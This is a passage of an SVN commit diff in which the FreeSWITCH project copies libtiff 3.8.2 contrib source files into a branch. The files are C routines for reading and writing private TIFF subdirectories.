+			/* fall thru... */
+		case TIFF_LONG:
+		case TIFF_SLONG:
+			{ uint32 v32 =
+		    TIFFExtractData(tif, dp->tdir_type, dp->tdir_offset);
+			  ok = (fip->field_passcount ? 
+			      (*setFieldFn)(tif, dp->tdir_tag, 1, &v32)
+			    : (*setFieldFn)(tif, dp->tdir_tag, v32));
+			}
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+		case TIFF_FLOAT:
+			{ float v = (dp->tdir_type == TIFF_FLOAT ? 
+			      TIFFFetchFloat(tif, dp)
+			    : TIFFFetchRational(tif, dp));
+			  ok = (fip->field_passcount ?
+			      (*setFieldFn)(tif, dp->tdir_tag, 1, &v)
+			    : (*setFieldFn)(tif, dp->tdir_tag, v));
+			}
+			break;
+		case TIFF_DOUBLE:
+			{ double v;
+			  ok = (TIFFFetchDoubleArray(tif, dp, &v) &&
+			    (fip->field_passcount ?
+			      (*setFieldFn)(tif, dp->tdir_tag, 1, &v)
+			    : (*setFieldFn)(tif, dp->tdir_tag, v))
+			  );
+			}
+			break;
+		case TIFF_ASCII:
+		case TIFF_UNDEFINED:		/* bit of a cheat... */
+			{ char c[2];
+			  if (ok = (TIFFFetchString(tif, dp, c) != 0)) {
+				c[1] = '\0';		/* XXX paranoid */
+				ok = (*setFieldFn)(tif, dp->tdir_tag, c);
+			  }
+			}
+			break;
+		}
+	}
+	return (ok);
+}
+
+/* Everything after this is exactly duplicated from the standard tif_dirread.c
+   file, necessitated by the fact that they are declared static there so
+   we can't call them!
+*/
+#define	NITEMS(x)	(sizeof (x) / sizeof (x[0]))
+/*
+ * Fetch samples/pixel short values for 
+ * the specified tag and verify that
+ * all values are the same.
+ */
+static int
+TIFFFetchPerSampleShorts(TIFF* tif, TIFFDirEntry* dir, int* pl)
+{
+	int samples = tif->tif_dir.td_samplesperpixel;
+	int status = 0;
+
+	if (CheckDirCount(tif, dir, (uint32) samples)) {
+		uint16 buf[10];
+		uint16* v = buf;
+
+		if (samples > NITEMS(buf))
+			v = (uint16*) _TIFFmalloc(samples * sizeof (uint16));
+		if (TIFFFetchShortArray(tif, dir, v)) {
+			int i;
+			for (i = 1; i < samples; i++)
+				if (v[i] != v[0]) {
+					TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"Cannot handle different per-sample values for field \"%s\"",
+			   _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+					goto bad;
+				}
+			*pl = v[0];
+			status = 1;
+		}
+	bad:
+		if (v != buf)
+			_TIFFfree((char*) v);
+	}
+	return (status);
+}
+
+/*
+ * Fetch samples/pixel ANY values for 
+ * the specified tag and verify that
+ * all values are the same.
+ */
+static int
+TIFFFetchPerSampleAnys(TIFF* tif, TIFFDirEntry* dir, double* pl)
+{
+	int samples = (int) tif->tif_dir.td_samplesperpixel;
+	int status = 0;
+
+	if (CheckDirCount(tif, dir, (uint32) samples)) {
+		double buf[10];
+		double* v = buf;
+
+		if (samples > NITEMS(buf))
+			v = (double*) _TIFFmalloc(samples * sizeof (double));
+		if (TIFFFetchAnyArray(tif, dir, v)) {
+			int i;
+			for (i = 1; i < samples; i++)
+				if (v[i] != v[0]) {
+					TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"Cannot handle different per-sample values for field \"%s\"",
+			   _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+					goto bad;
+				}
+			*pl = v[0];
+			status = 1;
+		}
+	bad:
+		if (v != buf)
+			_TIFFfree(v);
+	}
+	return (status);
+}
+#undef NITEMS
+
+/*
+ * Fetch a set of offsets or lengths.
+ * While this routine says "strips",
+ * in fact it's also used for tiles.
+ */
+static int
+TIFFFetchStripThing(TIFF* tif, TIFFDirEntry* dir, long nstrips, uint32** lpp)
+{
+	register uint32* lp;
+	int status;
+
+	if (!CheckDirCount(tif, dir, (uint32) nstrips))
+		return (0);
+	/*
+	 * Allocate space for strip information.
+	 */
+	if (*lpp == NULL &&
+	    (*lpp = (uint32 *)CheckMalloc(tif,
+	      nstrips * sizeof (uint32), "for strip array")) == NULL)
+		return (0);
+	lp = *lpp;
+	if (dir->tdir_type == (int)TIFF_SHORT) {
+		/*
+		 * Handle uint16->uint32 expansion.
+		 */
+		uint16* dp = (uint16*) CheckMalloc(tif,
+		    dir->tdir_count* sizeof (uint16), "to fetch strip tag");
+		if (dp == NULL)
+			return (0);
+		if (status = TIFFFetchShortArray(tif, dir, dp)) {
+			register uint16* wp = dp;
+			while (nstrips-- > 0)
+				*lp++ = *wp++;
+		}
+		_TIFFfree((char*) dp);
+	} else
+		status = TIFFFetchLongArray(tif, dir, lp);
+	return (status);
+}
+
+#define	NITEMS(x)	(sizeof (x) / sizeof (x[0]))
+/*
+ * Fetch and set the ExtraSamples tag.
+ */
+static int
+TIFFFetchExtraSamples(TIFF* tif, TIFFDirEntry* dir)
+{
+	uint16 buf[10];
+	uint16* v = buf;
+	int status;
+
+	if (dir->tdir_count > NITEMS(buf))
+		v = (uint16*) _TIFFmalloc(dir->tdir_count * sizeof (uint16));
+	if (dir->tdir_type == TIFF_BYTE)
+		status = TIFFFetchByteArray(tif, dir, v);
+	else
+		status = TIFFFetchShortArray(tif, dir, v);
+	if (status)
+		status = TIFFSetField(tif, dir->tdir_tag, dir->tdir_count, v);
+	if (v != buf)
+		_TIFFfree((char*) v);
+	return (status);
+}
+#undef NITEMS
+
+#ifdef COLORIMETRY_SUPPORT
+/*
+ * Fetch and set the RefBlackWhite tag.
+ */
+static int
+TIFFFetchRefBlackWhite(TIFF* tif, TIFFDirEntry* dir)
+{
+	static char mesg[] = "for \"ReferenceBlackWhite\" array";
+	char* cp;
+	int ok;
+
+	if (dir->tdir_type == TIFF_RATIONAL)
+		return (1/*TIFFFetchNormalTag(tif, dir) just so linker won't complain - this part of the code is never used anyway */);
+	/*
+	 * Handle LONG's for backward compatibility.
+	 */
+	cp = CheckMalloc(tif, dir->tdir_count * sizeof (uint32), mesg);
+	if (ok = (cp && TIFFFetchLongArray(tif, dir, (uint32*) cp))) {
+		float* fp = (float*)
+		    CheckMalloc(tif, dir->tdir_count * sizeof (float), mesg);
+		if (ok = (fp != NULL)) {
+			uint32 i;
+			for (i = 0; i < dir->tdir_count; i++)
+				fp[i] = (float)((uint32*) cp)[i];
+			ok = TIFFSetField(tif, dir->tdir_tag, fp);
+			_TIFFfree((char*) fp);
+		}
+	}
+	if (cp)
+		_TIFFfree(cp);
+	return (ok);
+}
+#endif
+
+#if STRIPCHOP_SUPPORT
+/*
+ * Replace a single strip (tile) of uncompressed data by
+ * multiple strips (tiles), each approximately 8Kbytes.
+ * This is useful for dealing with large images or
+ * for dealing with machines with a limited amount
+ * memory.
+ */
+static void
+ChopUpSingleUncompressedStrip(TIFF* tif)
+{
+	register TIFFDirectory *td = &tif->tif_dir;
+	uint32 bytecount = td->td_stripbytecount[0];
+	uint32 offset = td->td_stripoffset[0];
+	tsize_t rowbytes = TIFFVTileSize(tif, 1), stripbytes;
+	tstrip_t strip, nstrips, rowsperstrip;
+	uint32* newcounts;
+	uint32* newoffsets;
+
+	/*
+	 * Make the rows hold at least one
+	 * scanline, but fill 8k if possible.
+	 */
+	if (rowbytes > 8192) {
+		stripbytes = rowbytes;
+		rowsperstrip = 1;
+	} else {
+		rowsperstrip = 8192 / rowbytes;
+		stripbytes = rowbytes * rowsperstrip;
+	}
+	/* never increase the number of strips in an image */
+	if (rowsperstrip >= td->td_rowsperstrip)
+		return;
+	nstrips = (tstrip_t) TIFFhowmany(bytecount, stripbytes);
+	newcounts = (uint32*) CheckMalloc(tif, nstrips * sizeof (uint32),
+				"for chopped \"StripByteCounts\" array");
+	newoffsets = (uint32*) CheckMalloc(tif, nstrips * sizeof (uint32),
+				"for chopped \"StripOffsets\" array");
+	if (newcounts == NULL || newoffsets == NULL) {
+	        /*
+		 * Unable to allocate new strip information, give
+		 * up and use the original one strip information.
+		 */
+		if (newcounts != NULL)
+			_TIFFfree(newcounts);
+		if (newoffsets != NULL)
+			_TIFFfree(newoffsets);
+		return;
+	}
+	/*
+	 * Fill the strip information arrays with
+	 * new bytecounts and offsets that reflect
+	 * the broken-up format.
+	 */
+	for (strip = 0; strip < nstrips; strip++) {
+		if (stripbytes > bytecount)
+			stripbytes = bytecount;
+		newcounts[strip] = stripbytes;
+		newoffsets[strip] = offset;
+		offset += stripbytes;
+		bytecount -= stripbytes;
+	}
+	/*
+	 * Replace old single strip info with multi-strip info.
+	 */
+	td->td_stripsperimage = td->td_nstrips = nstrips;
+	TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+
+	_TIFFfree(td->td_stripbytecount);
+	_TIFFfree(td->td_stripoffset);
+	td->td_stripbytecount = newcounts;
+	td->td_stripoffset = newoffsets;
+}
+#endif /* STRIPCHOP_SUPPORT */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirwrite.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirwrite.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds/tif_pdsdirwrite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirwrite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirwrite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,964 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/contrib/pds/tif_pdsdirwrite.c,v 1.3 2005/12/21 12:23:13 joris Exp $ */
+
+/* When writing data to TIFF files, it is often useful to store application-
+   specific data in a private TIFF directory so that the tags don't need to
+   be registered and won't conflict with other people's user-defined tags.
+   One needs to have a registered public tag which contains some amount of
+   raw data. That raw data, however, is interpreted at an independent,
+   separate, private tiff directory. This file provides some routines which
+   will be useful for converting that data from its raw binary form into
+   the proper form for your application.
+*/
+
+/*
+ * Copyright (c) 1988-1996 Sam Leffler
+ * Copyright (c) 1991-1996 Silicon Graphics, Inc.
+ * Copyright (c( 1996 USAF Phillips Laboratory
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * These routines written by Conrad J. Poelman on a single late-night of
+ * March 20-21, 1996.
+ *
+ * The entire purpose of this file is to provide a single external function,
+ * TIFFWritePrivateDataSubDirectory(). This function is intended for use
+ * in writing a private subdirectory structure into a TIFF file. The
+ * actual reading of data from the structure is handled by the getFieldFn(),
+ * which is passed to TIFFWritePrivateDataSubDirectory() as a parameter. The
+ * idea is to enable any application wishing to read private subdirectories to
+ * do so easily using this function, without modifying the TIFF library.
+ *
+ * The astute observer will notice that only two functions are at all different
+ * from the original tif_dirwrite.c file: TIFFWritePrivateDataSubDirectory()and
+ * TIFFWriteNormalSubTag(). All the other stuff that makes this file so huge
+ * is only necessary because all of those functions are declared static in
+ * tif_dirwrite.c, so we have to totally duplicate them in order to use them.
+ *
+ * Oh, also please note the bug-fix in the routine TIFFWriteNormalSubTag(),
+ * which equally should be applied to TIFFWriteNormalTag().
+ *
+ */
+#include "tiffiop.h"
+
+#if HAVE_IEEEFP
+#define	TIFFCvtNativeToIEEEFloat(tif, n, fp)
+#define	TIFFCvtNativeToIEEEDouble(tif, n, dp)
+#else
+extern	void TIFFCvtNativeToIEEEFloat(TIFF*, uint32, float*);
+extern	void TIFFCvtNativeToIEEEDouble(TIFF*, uint32, double*);
+#endif
+
+static	int TIFFWriteNormalTag(TIFF*, TIFFDirEntry*, const TIFFFieldInfo*);
+static	int TIFFWriteNormalSubTag(TIFF*, TIFFDirEntry*, const TIFFFieldInfo*,
+				  int (*getFieldFn)(TIFF *tif,ttag_t tag,...));
+static	void TIFFSetupShortLong(TIFF*, ttag_t, TIFFDirEntry*, uint32);
+static	int TIFFSetupShortPair(TIFF*, ttag_t, TIFFDirEntry*);
+static	int TIFFWritePerSampleShorts(TIFF*, ttag_t, TIFFDirEntry*);
+static	int TIFFWritePerSampleAnys(TIFF*, TIFFDataType, ttag_t, TIFFDirEntry*);
+static	int TIFFWriteShortTable(TIFF*, ttag_t, TIFFDirEntry*, uint32, uint16**);
+static	int TIFFWriteShortArray(TIFF*,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, uint32, uint16*);
+static	int TIFFWriteLongArray(TIFF *,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, uint32, uint32*);
+static	int TIFFWriteRationalArray(TIFF *,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, uint32, float*);
+static	int TIFFWriteFloatArray(TIFF *,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, uint32, float*);
+static	int TIFFWriteDoubleArray(TIFF *,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, uint32, double*);
+static	int TIFFWriteByteArray(TIFF*, TIFFDirEntry*, char*);
+static	int TIFFWriteAnyArray(TIFF*,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, uint32, double*);
+#ifdef COLORIMETRY_SUPPORT
+static	int TIFFWriteTransferFunction(TIFF*, TIFFDirEntry*);
+#endif
+static	int TIFFWriteData(TIFF*, TIFFDirEntry*, char*);
+static	int TIFFLinkDirectory(TIFF*);
+
+#define	WriteRationalPair(type, tag1, v1, tag2, v2) {		\
+	if (!TIFFWriteRational(tif, type, tag1, dir, v1))	\
+		goto bad;					\
+	if (!TIFFWriteRational(tif, type, tag2, dir+1, v2))	\
+		goto bad;					\
+	dir++;							\
+}
+#define	TIFFWriteRational(tif, type, tag, dir, v) \
+	TIFFWriteRationalArray((tif), (type), (tag), (dir), 1, &(v))
+#ifndef TIFFWriteRational
+static	int TIFFWriteRational(TIFF*,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, float);
+#endif
+
+/* This function will write an entire directory to the disk, and return the
+   offset value indicating where in the file it wrote the beginning of the
+   directory structure. This is NOT the same as the offset value before
+   calling this function, because some of the fields may have caused various
+   data items to be written out BEFORE writing the directory structure.
+
+   This code was basically written by ripping of the TIFFWriteDirectory() 
+   code and generalizing it, using RPS's TIFFWritePliIfd() code for
+   inspiration.  My original goal was to make this code general enough that
+   the original TIFFWriteDirectory() could be rewritten to just call this
+   function with the appropriate field and field-accessing arguments.
+
+   However, now I realize that there's a lot of code that gets executed for
+   the main, standard TIFF directories that does not apply to special
+   private subdirectories, so such a reimplementation for the sake of
+   eliminating redundant or duplicate code is probably not possible,
+   unless we also pass in a Main flag to indiciate which type of handling
+   to do, which would be kind of a hack. I've marked those places where I
+   changed or ripped out code which would have to be re-inserted to
+   generalize this function. If it can be done in a clean and graceful way,
+   it would be a great way to generalize the TIFF library. Otherwise, I'll
+   just leave this code here where it duplicates but remains on top of and
+   hopefully mostly independent of the main TIFF library.
+
+   The caller will probably want to free the sub directory structure after
+   returning from this call, since otherwise once written out, the user
+   is likely to forget about it and leave data lying around.
+*/
+toff_t
+TIFFWritePrivateDataSubDirectory(TIFF* tif,
+				 uint32 pdir_fieldsset[], int pdir_fields_last,
+				 TIFFFieldInfo *field_info,
+				 int (*getFieldFn)(TIFF *tif, ttag_t tag, ...))
+{
+	uint16 dircount;
+	uint32 diroff, nextdiroff;
+	ttag_t tag;
+	uint32 nfields;
+	tsize_t dirsize;
+	char* data;
+	TIFFDirEntry* dir;
+	u_long b, *fields, fields_size;
+	toff_t directory_offset;
+	TIFFFieldInfo* fip;
+
+	/*
+	 * Deleted out all of the encoder flushing and such code from here -
+	 * not necessary for subdirectories.
+	 */
+
+	/* Finish writing out any image data. */
+	TIFFFlushData(tif);
+
+	/*
+	 * Size the directory so that we can calculate
+	 * offsets for the data items that aren't kept
+	 * in-place in each field.
+	 */
+	nfields = 0;
+	for (b = 0; b <= pdir_fields_last; b++)
+		if (FieldSet(pdir_fieldsset, b))
+			/* Deleted code to make size of first 4 tags 2
+			   instead of 1. */
+			nfields += 1;
+	dirsize = nfields * sizeof (TIFFDirEntry);
+	data = (char*) _TIFFmalloc(dirsize);
+	if (data == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "Cannot write private subdirectory, out of space");
+		return (0);
+	}
+	/*
+	 * Place directory in data section of the file. If there isn't one
+	 * yet, place it at the end of the file. The directory is treated as
+	 * data, so we don't link it into the directory structure at all.
+	 */
+	if (tif->tif_dataoff == 0)
+	    tif->tif_dataoff =(TIFFSeekFile(tif, (toff_t) 0, SEEK_END)+1) &~ 1;
+	diroff = tif->tif_dataoff;
+	tif->tif_dataoff = (toff_t)(
+	    diroff + sizeof (uint16) + dirsize + sizeof (toff_t));
+	if (tif->tif_dataoff & 1)
+		tif->tif_dataoff++;
+	(void) TIFFSeekFile(tif, tif->tif_dataoff, SEEK_SET);
+	/*tif->tif_curdir++;*/
+	dir = (TIFFDirEntry*) data;
+	/*
+	 * Setup external form of directory
+	 * entries and write data items.
+	 */
+	/*
+	 * We make a local copy of the fieldsset here so that we don't mess
+	 * up the original one when we call ResetFieldBit(). But I'm not sure
+	 * why the original code calls ResetFieldBit(), since we're already
+	 * going through the fields in order...
+	 *
+	 * fields_size is the number of uint32's we will need to hold the
+	 * bit-mask for all of the fields. If our highest field number is
+	 * 100, then we'll need 100 / (8*4)+1 == 4 uint32's to hold the
+	 * fieldset.
+	 *
+	 * Unlike the original code, we allocate fields dynamically based
+	 * on the requested pdir_fields_last value, allowing private
+	 * data subdirectories to contain more than the built-in code's limit
+	 * of 95 tags in a directory.
+	 */
+	fields_size = pdir_fields_last / (8*sizeof(uint32)) + 1;
+	fields = _TIFFmalloc(fields_size*sizeof(uint32));
+	_TIFFmemcpy(fields, pdir_fieldsset, fields_size * sizeof(uint32));
+
+	/* Deleted "write out extra samples tag" code here. */
+
+	/* Deleted code for checking a billion little special cases for the
+	 * standard TIFF tags. Should add a general mechanism for overloading
+	 * write function for each field, just like Brian kept telling me!!!
+	 */
+	for (fip = field_info; fip->field_tag; fip++) {
+		/* Deleted code to check for FIELD_IGNORE!! */
+		if (/* fip->field_bit == FIELD_IGNORE || */
+		    !FieldSet(fields, fip->field_bit))
+			continue;
+		if (!TIFFWriteNormalSubTag(tif, dir, fip, getFieldFn))
+			goto bad;
+		dir++;
+		ResetFieldBit(fields, fip->field_bit);
+	}
+
+	/* Now we've written all of the referenced data, and are about to
+	   write the main directory structure, so grab the tif_dataoff value
+	   now so we can remember where we wrote the directory. */
+	directory_offset = tif->tif_dataoff;
+
+	/*
+	 * Write directory.
+	 */
+	dircount = (uint16) nfields;
+	/* Deleted code to link to the next directory - we set it to zero! */
+	nextdiroff = 0;
+	if (tif->tif_flags & TIFF_SWAB) {
+		/*
+		 * The file's byte order is opposite to the
+		 * native machine architecture.  We overwrite
+		 * the directory information with impunity
+		 * because it'll be released below after we
+		 * write it to the file.  Note that all the
+		 * other tag construction routines assume that
+		 * we do this byte-swapping; i.e. they only
+		 * byte-swap indirect data.
+		 */
+		for (dir = (TIFFDirEntry*) data; dircount; dir++, dircount--) {
+			TIFFSwabArrayOfShort(&dir->tdir_tag, 2);
+			TIFFSwabArrayOfLong(&dir->tdir_count, 2);
+		}
+		dircount = (uint16) nfields;
+		TIFFSwabShort(&dircount);
+		TIFFSwabLong(&nextdiroff);
+	}
+
+	(void) TIFFSeekFile(tif, tif->tif_dataoff, SEEK_SET);
+	if (!WriteOK(tif, &dircount, sizeof (dircount))) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing private subdirectory count");
+		goto bad;
+	}
+	if (!WriteOK(tif, data, dirsize)) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing private subdirectory contents");
+		goto bad;
+	}
+	if (!WriteOK(tif, &nextdiroff, sizeof (nextdiroff))) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing private subdirectory link");
+		goto bad;
+	}
+	tif->tif_dataoff += sizeof(dircount) + dirsize + sizeof(nextdiroff);
+
+	_TIFFfree(data);
+	_TIFFfree(fields);
+	tif->tif_flags &= ~TIFF_DIRTYDIRECT;
+
+#if (0)
+	/* This stuff commented out because I don't think we want it for
+	   subdirectories, but I could be wrong. */
+	(*tif->tif_cleanup)(tif);
+
+	/*
+	 * Reset directory-related state for subsequent
+	 * directories.
+	 */
+	TIFFDefaultDirectory(tif);
+	tif->tif_curoff = 0;
+	tif->tif_row = (uint32) -1;
+	tif->tif_curstrip = (tstrip_t) -1;
+#endif
+
+	return (directory_offset);
+bad:
+	_TIFFfree(data);
+	_TIFFfree(fields);
+	return (0);
+}
+#undef WriteRationalPair
+
+/*
+ * Process tags that are not special cased.
+ */
+/* The standard function TIFFWriteNormalTag() could definitely be replaced
+   with a simple call to this function, just adding TIFFGetField() as the
+   last argument. */
+static int
+TIFFWriteNormalSubTag(TIFF* tif, TIFFDirEntry* dir, const TIFFFieldInfo* fip,
+		      int (*getFieldFn)(TIFF *tif, ttag_t tag, ...))
+{
+	u_short wc = (u_short) fip->field_writecount;
+
+	dir->tdir_tag = fip->field_tag;
+	dir->tdir_type = (u_short) fip->field_type;
+	dir->tdir_count = wc;
+#define	WRITEF(x,y)	x(tif, fip->field_type, fip->field_tag, dir, wc, y)
+	switch (fip->field_type) {
+	case TIFF_SHORT:
+	case TIFF_SSHORT:
+		if (wc > 1) {
+			uint16* wp;
+			if (wc == (u_short) TIFF_VARIABLE) {
+				(*getFieldFn)(tif, fip->field_tag, &wc, &wp);
+				dir->tdir_count = wc;
+			} else
+				(*getFieldFn)(tif, fip->field_tag, &wp);
+			if (!WRITEF(TIFFWriteShortArray, wp))
+				return (0);
+		} else {
+			uint16 sv;
+			(*getFieldFn)(tif, fip->field_tag, &sv);
+			dir->tdir_offset =
+			    TIFFInsertData(tif, dir->tdir_type, sv);
+		}
+		break;
+	case TIFF_LONG:
+	case TIFF_SLONG:
+		if (wc > 1) {
+			uint32* lp;
+			if (wc == (u_short) TIFF_VARIABLE) {
+				(*getFieldFn)(tif, fip->field_tag, &wc, &lp);
+				dir->tdir_count = wc;
+			} else
+				(*getFieldFn)(tif, fip->field_tag, &lp);
+			if (!WRITEF(TIFFWriteLongArray, lp))
+				return (0);
+		} else {
+			/* XXX handle LONG->SHORT conversion */
+			(*getFieldFn)(tif, fip->field_tag, &dir->tdir_offset);
+		}
+		break;
+	case TIFF_RATIONAL:
+	case TIFF_SRATIONAL:
+		if (wc > 1) {
+			float* fp;
+			if (wc == (u_short) TIFF_VARIABLE) {
+				(*getFieldFn)(tif, fip->field_tag, &wc, &fp);
+				dir->tdir_count = wc;
+			} else
+				(*getFieldFn)(tif, fip->field_tag, &fp);
+			if (!WRITEF(TIFFWriteRationalArray, fp))
+				return (0);
+		} else {
+			float fv;
+			(*getFieldFn)(tif, fip->field_tag, &fv);
+			if (!WRITEF(TIFFWriteRationalArray, &fv))
+				return (0);
+		}
+		break;
+	case TIFF_FLOAT:
+		if (wc > 1) {
+			float* fp;
+			if (wc == (u_short) TIFF_VARIABLE) {
+				(*getFieldFn)(tif, fip->field_tag, &wc, &fp);
+				dir->tdir_count = wc;
+			} else
+				(*getFieldFn)(tif, fip->field_tag, &fp);
+			if (!WRITEF(TIFFWriteFloatArray, fp))
+				return (0);
+		} else {
+			float fv;
+			(*getFieldFn)(tif, fip->field_tag, &fv);
+			if (!WRITEF(TIFFWriteFloatArray, &fv))
+				return (0);
+		}
+		break;
+	case TIFF_DOUBLE:
+		/* Hey - I think this is a bug, or at least a "gross
+		   inconsistency", in the TIFF library. Look at the original
+		   TIFF library code below within the "#if (0) ... #else".
+		   Just from the type of *dp, you can see that this code
+		   expects TIFFGetField() to be handed a double ** for
+		   any TIFF_DOUBLE tag, even for the constant wc==1 case.
+		   This is totally inconsistent with other fields (like
+		   TIFF_FLOAT, above) and is also inconsistent with the
+		   TIFFSetField() function for TIFF_DOUBLEs, which expects
+		   to be passed a single double by value for the wc==1 case.
+		   (See the handling of TIFFFetchNormalTag() in tif_dirread.c
+		   for an example.) Maybe this function was written before
+		   TIFFWriteDoubleArray() was written, not that that's an
+		   excuse. Anyway, the new code below is a trivial modification
+		   of the TIFF_FLOAT code above. The fact that even single
+		   doubles get written out in the data segment and get an
+		   offset value stored is irrelevant here - that is all
+		   handled by TIFFWriteDoubleArray(). */
+#if (0)
+		{ double* dp;
+		  if (wc == (u_short) TIFF_VARIABLE) {
+			(*getFieldFn)(tif, fip->field_tag, &wc, &dp);
+			dir->tdir_count = wc;
+		  } else
+			(*getFieldFn)(tif, fip->field_tag, &dp);
+		  TIFFCvtNativeToIEEEDouble(tif, wc, dp);
+		  if (!TIFFWriteData(tif, dir, (char*) dp))
+			return (0);
+		}
+#else
+		if (wc > 1) {
+			double* dp;
+			if (wc == (u_short) TIFF_VARIABLE) {
+				(*getFieldFn)(tif, fip->field_tag, &wc, &dp);
+				dir->tdir_count = wc;
+			} else
+				(*getFieldFn)(tif, fip->field_tag, &dp);
+			if (!WRITEF(TIFFWriteDoubleArray, dp))
+				return (0);
+		} else {
+			double dv;
+			(*getFieldFn)(tif, fip->field_tag, &dv);
+			if (!WRITEF(TIFFWriteDoubleArray, &dv))
+				return (0);
+		}
+#endif
+		break;
+	case TIFF_ASCII:
+		{ char* cp;
+		  (*getFieldFn)(tif, fip->field_tag, &cp);
+		  dir->tdir_count = (uint32) (strlen(cp) + 1);
+		  if (!TIFFWriteByteArray(tif, dir, cp))
+			return (0);
+		}
+		break;
+	case TIFF_UNDEFINED:
+		{ char* cp;
+		  if (wc == (u_short) TIFF_VARIABLE) {
+			(*getFieldFn)(tif, fip->field_tag, &wc, &cp);
+			dir->tdir_count = wc;
+		  } else 
+			(*getFieldFn)(tif, fip->field_tag, &cp);
+		  if (!TIFFWriteByteArray(tif, dir, cp))
+			return (0);
+		}
+		break;
+	}
+	return (1);
+}
+#undef WRITEF
+
+/* Everything after this is exactly duplicated from the standard tif_dirwrite.c
+   file, necessitated by the fact that they are declared static there so
+   we can't call them!
+*/
+/*
+ * Setup a directory entry with either a SHORT
+ * or LONG type according to the value.
+ */
+static void
+TIFFSetupShortLong(TIFF* tif, ttag_t tag, TIFFDirEntry* dir, uint32 v)
+{
+	dir->tdir_tag = tag;
+	dir->tdir_count = 1;
+	if (v > 0xffffL) {
+		dir->tdir_type = (short) TIFF_LONG;
+		dir->tdir_offset = v;
+	} else {
+		dir->tdir_type = (short) TIFF_SHORT;
+		dir->tdir_offset = TIFFInsertData(tif, (int) TIFF_SHORT, v);
+	}
+}
+#undef MakeShortDirent
+
+#ifndef TIFFWriteRational
+/*
+ * Setup a RATIONAL directory entry and
+ * write the associated indirect value.
+ */
+static int
+TIFFWriteRational(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, float v)
+{
+	return (TIFFWriteRationalArray(tif, type, tag, dir, 1, &v));
+}
+#endif
+
+#define	NITEMS(x)	(sizeof (x) / sizeof (x[0]))
+/*
+ * Setup a directory entry that references a
+ * samples/pixel array of SHORT values and
+ * (potentially) write the associated indirect
+ * values.
+ */
+static int
+TIFFWritePerSampleShorts(TIFF* tif, ttag_t tag, TIFFDirEntry* dir)
+{
+	uint16 buf[10], v;
+	uint16* w = buf;
+	int i, status, samples = tif->tif_dir.td_samplesperpixel;
+
+	if (samples > NITEMS(buf))
+		w = (uint16*) _TIFFmalloc(samples * sizeof (uint16));
+	TIFFGetField(tif, tag, &v);
+	for (i = 0; i < samples; i++)
+		w[i] = v;
+	status = TIFFWriteShortArray(tif, TIFF_SHORT, tag, dir, samples, w);
+	if (w != buf)
+		_TIFFfree((char*) w);
+	return (status);
+}
+
+/*
+ * Setup a directory entry that references a samples/pixel array of ``type''
+ * values and (potentially) write the associated indirect values.  The source
+ * data from TIFFGetField() for the specified tag must be returned as double.
+ */
+static int
+TIFFWritePerSampleAnys(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir)
+{
+	double buf[10], v;
+	double* w = buf;
+	int i, status;
+	int samples = (int) tif->tif_dir.td_samplesperpixel;
+
+	if (samples > NITEMS(buf))
+		w = (double*) _TIFFmalloc(samples * sizeof (double));
+	TIFFGetField(tif, tag, &v);
+	for (i = 0; i < samples; i++)
+		w[i] = v;
+	status = TIFFWriteAnyArray(tif, type, tag, dir, samples, w);
+	if (w != buf)
+		_TIFFfree(w);
+	return (status);
+}
+#undef NITEMS
+
+/*
+ * Setup a pair of shorts that are returned by
+ * value, rather than as a reference to an array.
+ */
+static int
+TIFFSetupShortPair(TIFF* tif, ttag_t tag, TIFFDirEntry* dir)
+{
+	uint16 v[2];
+
+	TIFFGetField(tif, tag, &v[0], &v[1]);
